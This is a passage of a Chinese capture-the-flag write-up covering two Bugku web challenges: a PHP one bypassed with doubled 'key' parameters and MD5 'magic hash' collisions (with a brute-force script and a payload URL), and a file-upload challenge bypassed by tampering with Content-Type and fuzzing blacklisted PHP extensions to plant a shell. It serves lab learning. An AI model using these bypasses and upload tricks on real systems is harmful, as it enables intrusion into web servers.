<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?'); //获取请求的URL的'?'之后的子串
$str = substr($str,1); //将str进行分片,即将'?'去掉。
$str = str_replace('key','',$str); //将 'key' 替换为空。本题第二坑。
parse_str($str); // 将$str解析到变量中。
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){ //相同MD5但不同真值
echo $flag."取得flag";
}
?>
  • strstr(str1,str2) : 查找str2在str1中是否存在,若存在则返回从str2开始到结束的子串。

  • substr(str1,start[,length]) : 返回str1的指定子串。

  • parse_str(str1[,array]) : 把查询字符串解析到变量中。若未设置array,则覆盖原有存在变量。

    • 举个例子:

    • 1
      2
      3
      4
      5
      <?php
      parse_str("name=Peter&age=43");
      echo $name."<br>";
      echo $age;
      ?>

分析2: 在if前面的语句都是在规定如何构造payload,if语句则要求构造出2个不同的值但MD5相同。在最后payload记得要利用双写关键字绕过替换。

方法: 利用PHP脚本进行MD5碰撞再合适不过。对于字符串的自增操作相当于穷举,非常方便.

1
2
3
4
5
6
7
8
9
10
11
<?PHP
$V='1';
$payload=md5('QNKCDZO');
while(1){
#$hash=hash("md5",$V,false);
$hash = md5($V);
#echo $hash;
if(substr_compare($hash,$payload,0)==0){die($V);} // 比较字符串 语法: substr_compare(string1,string2,startpos,length,case) case:true不区分大小写 false:区分大小写(默认) 前3参数必选
$V++;
}
?> //最后测试出 '240610708' 和 'QNKCDZO' 符合条件
  • substr_compare(str1,str2,start[,length,case]) : 从指定位置开始比较两个字符串。可以选择对大小写敏感。str1主字符串,str2副字符串。
    • case : 布尔值。FALSE –区分大小写(默认),TRUE –不区分大小写。
    • 返回值 : =0 相等 | <0 str1<str2 | >0 str1>str2
  • 用CMD运行PHP脚本需要设置环境变量。推荐使用PHPstudy集成的PHP环境。
  • PS: MD5碰撞几率 2^128次方。

Payload : http://123.206.87.240:8002/web16/?kkeyey1=240610708&kkeyey2=QNKCDZO

总结: PHP真的强大。。

Case7、上传绕过

题目: 求getshell

getshell

失败的操作:

​ 目前为止了解到的上传绕过已经整理在了web篇。但是这一题尝试了截断上传,改后缀名,大小写绕过,双文件上传,.htaccess重写,双扩展文件名,后缀名解析漏洞 都没有成功。

​ 在尝试 .htaccess重写解析的时候回显 you got it :) 。但是无法使用菜刀连接。

ugi

405

好吧,,上网找别人写的wp吸取吸取经验。

收获:

​ 再一次认识content-type。整理在了web篇。

​ boundary生成一个字符串来分割请求头和请求主体。

​ 通过fuzz发现,这里的限制使用的黑名单。所以尝试所有可以解析成php的后缀名。

php2,php3,php4,php5,phps,pht,phtm,phtml

​ 又可以添加进字典了。

分析: 本题有3个地方需要绕过。

  1. Content-type 。 规定只能上传二进制类型,即若上传PHP脚本(文本类型)则会被拦截下来。绕过方法: 直接将multipart/form-data随意改变一个字母为大写即可[由于不支持大写]。
  2. filename。 文件名,这使用黑名单过滤,所以可以进行fuzz发现 .php5 没有在黑名单中
  3. Content-Type: image/jpeg 。 这里主要检测是否为图片格式。

upload

本文标题:Bugku--WEB--WP

文章作者:Tanker

发布时间:2019年11月23日 - 16:41

最后更新:2020年01月04日 - 10:58

原始链接:https://www5059109.github.io/2019/11/23/Bugku-WEB-WP/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

0%